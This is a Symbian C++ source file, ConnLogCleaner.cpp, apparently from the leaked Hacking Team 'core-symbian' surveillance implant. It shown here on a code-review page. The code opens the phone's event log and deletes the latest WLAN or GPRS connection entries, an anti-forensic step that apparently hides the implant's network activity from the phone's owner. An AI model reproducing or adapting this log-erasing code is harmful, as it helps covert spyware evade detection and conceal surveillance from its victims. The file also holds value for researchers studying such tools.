hackedteam/core-symbian

View on GitHub
Core/src/ConnLogCleaner.cpp

Summary

Maintainability
Test Coverage
/*
 * NtwLogCleaner.cpp
 *
 *  Created on: 08/nov/2010
 *      Author: Giovanna
 */

#include "ConnLogCleaner.h"

// This defines the Wlan log type
#define KLOGWLANDATAEVENTTYPE 0x1000595f
const TUid KLogWlanDataEventTypeUid = {KLOGWLANDATAEVENTTYPE};

CConnLogCleaner::CConnLogCleaner() :
    CActive(EPriorityStandard)
    {
    iCleanerState = EIdle;
    }

CConnLogCleaner* CConnLogCleaner::NewL()
    {
    CConnLogCleaner* self = CConnLogCleaner::NewLC();
    CleanupStack::Pop(); // self;
    return self;
    }

CConnLogCleaner* CConnLogCleaner::NewLC()
    {
    CConnLogCleaner* self = new (ELeave) CConnLogCleaner();
    CleanupStack::PushL(self);
    self->ConstructL();
    return self;
    }

void CConnLogCleaner::ConstructL()
    {
    CActiveScheduler::Add(this);

    User::LeaveIfError(iFs.Connect());
    iLogClient = CLogClient::NewL(iFs);
    iLogView = CLogViewEvent::NewL(*iLogClient);
    iLogFilter = CLogFilter::NewL();
     
    
    iWait = new (ELeave) CActiveSchedulerWait();
    }

CConnLogCleaner::~CConnLogCleaner()
    {
    Cancel();
    delete iWait;
    delete iLogView;
    delete iLogFilter;    
    delete iLogClient;        
    iFs.Close();
    }

void CConnLogCleaner::DoCancel()
    {
    if (iWait->IsStarted()) // ***
        iWait->AsyncStop(); // ***

    iCleanerState = EIdle;
    
    iLogView->Cancel();
    iLogClient->Cancel();
    
    }

TInt CConnLogCleaner::RunError(TInt /*aError*/)
    {
    return KErrNone;
    }

void CConnLogCleaner::RunL()
    {
    if (iWait->IsStarted())
        iWait->AsyncStop();

    TCleanerState completed = iCleanerState;

    if (iStatus.Int() != KErrNone) 
        {
        //__FLOG_2(_L("RunL Error:%d Func:%d"), iStatus.Int(), completed);
        }
    else
        {
        switch (completed)
            {
            case ECreatingView:
                break;
            case EReadingEntries:
                break;
            case EDeletingEntry:
                break;
            default:
                break;
            }
        }
    }

void CConnLogCleaner::StartWait()
    {
    if (iWait->IsStarted() != (TInt) ETrue)
        {
        //__FLOG(_L("StartWait"));
        iWait->Start();
        }
    }


void CConnLogCleaner::DeleteConnLogSyncL()
    {
    // Create the view on log
    if(iLogView->SetFilterL(*iLogFilter, iStatus))
        {        
        iCleanerState = ECreatingView;
        SetActive();
        StartWait();
        if(iStatus.Int()!=KErrNone)
            return;
        }
    else 
        return;
    
    // The filtered view has been successfully created
    // so issue a request to start processing logs onwards    
    if(iLogView->FirstL(iStatus))
        {    
        iCleanerState = EReadingEntries;
        SetActive();
        StartWait();
        if(iStatus.Int()!=KErrNone)
            return;
        }
    else
       return;

    // We should be at first event in the log
    if((iLogView->Event().EventType() == KLogWlanDataEventTypeUid) || (iLogView->Event().EventType() == KLogPacketDataEventTypeUid))   
        {
        // issue the request to delete it
        iCleanerState = EDeletingEntry;
        iLogClient->DeleteEvent(iLogView->Event().Id(),iStatus);
        SetActive();
        StartWait();
        if(iStatus.Int()!=KErrNone)
            return;
        }
    }

void CConnLogCleaner::DeleteConnLogSyncL(TConnType aConnType)
    {
    
    TUid logType;
    if(aConnType == EWlan)
        {
        logType = KLogWlanDataEventTypeUid;
        }
    else if (aConnType == EGprs) 
        {
        logType = KLogPacketDataEventTypeUid;  
        }
    
    
    // Create the view on log
    if(iLogView->SetFilterL(*iLogFilter, iStatus))
        {        
            iCleanerState = ECreatingView;
            SetActive();
            StartWait();
        }
    else 
        return;
    
    // The filtered view has been successfully created
    // so issue a request to start processing logs onwards    
    if(iLogView->FirstL(iStatus))
        {    
        iCleanerState = EReadingEntries;
        SetActive();
        StartWait();
        }
    else
       return;

    // We should be at first event in the log
    if(iLogView->Event().EventType() == logType) 
        {
        // issue the request to delete it
        iCleanerState = EDeletingEntry;
        iLogClient->DeleteEvent(iLogView->Event().Id(),iStatus);
        SetActive();
        StartWait();
        }
    }